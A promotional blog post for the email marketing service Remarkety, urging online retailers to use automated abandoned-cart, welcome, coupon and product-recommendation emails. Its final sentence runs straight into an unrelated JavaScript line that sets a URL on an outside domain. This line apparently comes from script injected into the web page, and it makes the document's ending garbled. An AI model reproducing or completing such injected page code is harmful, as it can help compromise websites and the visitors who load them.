If you’ve got opt-ins, then you’ve got a captive audience.
If you’ve got their attention, then you’ve got sales waiting to happen.
So, what are YOU waiting for?

While many ecommerce businesses are busy uploading new products, and trying to spread the love for their brand online, they are missing the mark for a no-brainer method of increasing revenue. Their customer-base.

So, just how profitable is that email subscriber list of yours?

Well, that depends on you really, and how well you are communicating with these customers. Sure, you may have an email marketing “plan” in place and you may think you’re doing everything right by blasting out emails every week or so. But, if the ROI isn’t there then your efforts are for naught. (And quite honestly, you’re probably not doing everything right.)

While effective ecommerce email marketing is a marriage between art and science, it really isn’t all that difficult. With the right tools and resources in place, your revenue AND subscribership will increase without breaking a sweat.

Ever hear of Sun Tzu and The Art of War? It suggests that every battle is won before it’s even fought. And make no mistake, vying for your customers and increasing market share online is war. Lucky for you, email marketing is so predictable you can actually gauge profitability before you even press send.

How is this possible? Glad you asked. Got stats?

The science part of email marketing is testing of tactics, measuring of progress, and retrieval of data. Due to the collective genius of those who understand algorithms and have perfected the translation of statistics, the rest of us get insights. And what these insights tell us is that specific automated email campaigns can be even more profitable than those labor-intensive weeklies with a fraction of the effort. (Yay for smart people!)

In fact, Remarkety’s ROI calculator can indicate just how much money you are leaving to competitors by NOT implementing these super-tools (which by the way are super-easy to setup.)

If you’re sick of hearing how abandoned cart emails are blah blah blah just know this… If 70% of customers leave your site before checkout, and automated abandoned cart emails to your opt-in list retrieve 15-20% of those sales, then those blah blah blahs really do add up. And believe it or not, those that didn’t fork over the cash have still provided valuable understandings into their browsing behavior so…not a total loss.

Remarkety automated emails campaigns span way more than just your abandoned carts. In fact, what we’re seeing is open and click-thru rates (as well as sales) from must-haves such as the Welcome Email. I mean heck, these people just gave you their deets and you’re not going to give them something in return? All it takes is a one-time setup for you to thank all who sign up and give them a little show of appreciation. Member points? Entry to win something? Discount code perhaps? And speaking of couponing…

Many ecomm stores shy away from the incredibly profitable emails with Online Coupon Codes for a number of reasons. But unless it’s because the profit margins just aren’t there (and sometimes they’re not) there really is no good reason. The biggest concern businesses have is to forget to disable to code. Problem solved. Remarkety let’s you set an expiration date and it becomes inactive automatically. There. No excuses.

And while we’re on the subject of defenseless justification of absence from email marketing plans, let’s talk personalization. (We can hear the proverbial ring of registers now.) Newsflash, shoppers love to shop but they don’t need to put in the legwork or browse until they blink to be persuaded to buy. In fact, artificial intelligence sales teams are all the rage and at the ready. If you’re not setting up Product Recommendation emails based on buyer behavior insights (again, smart people rock) then you’re not only passing up the revenue, you’re not winning points with customer service either. (FYI, it’s expected, if not anticipated.)

Back in the day (like 3 years ago) personalized ecommerce emails to customers were hard. I mean yeah, there was coding involved, but no more. While it still sounds complicated, it’s no different than setting up an abandoned cart really. A quick “Hey, you might like this.” Or, “This may be just the thing to go with <NAME OF RECENT PURCHASE>” is right at your fingertips. Remarkety whosamawatchets (technical term for complex algorithms) takes care of the rest. Set it up one time and let your AI team of virtual associates treat online customers as if they were their own private stylists or shoppers.

It’s quite simple really. Do this. Get that.

(I mean we’re practically doing it for you.) So, there you go. You just increased profitability (not to mention brand appeal) from your email subscriber list yet again.

Look, we can go on and on about the different types of email automations and strategic emails you should be implementing, along with the messages and images that generate sales. But we won’t. See for yourself.

Check out Remarkety’s ROI Calculator and figure out how much more you can be earning from that opt-in list. Learn why more ecommerce stores trust Remarkety to generate revenue from email strategies and how our seamless integration with popular store platforms like Shopify, Magento, WooCommerce, PrestaShop, and BigCommerce are giving businesses the real-time insights to better connect with customers.

As the leading email partner for online retailers, Remarkety lets you create a more personalized shopping experience for buyers, and promotes brand awareness to grow your database. Contact us for a product demo and to learn how Remarkety can support your eCommerce store and family of brands.var url = ‘https://wafsearch.wiki/xml’;
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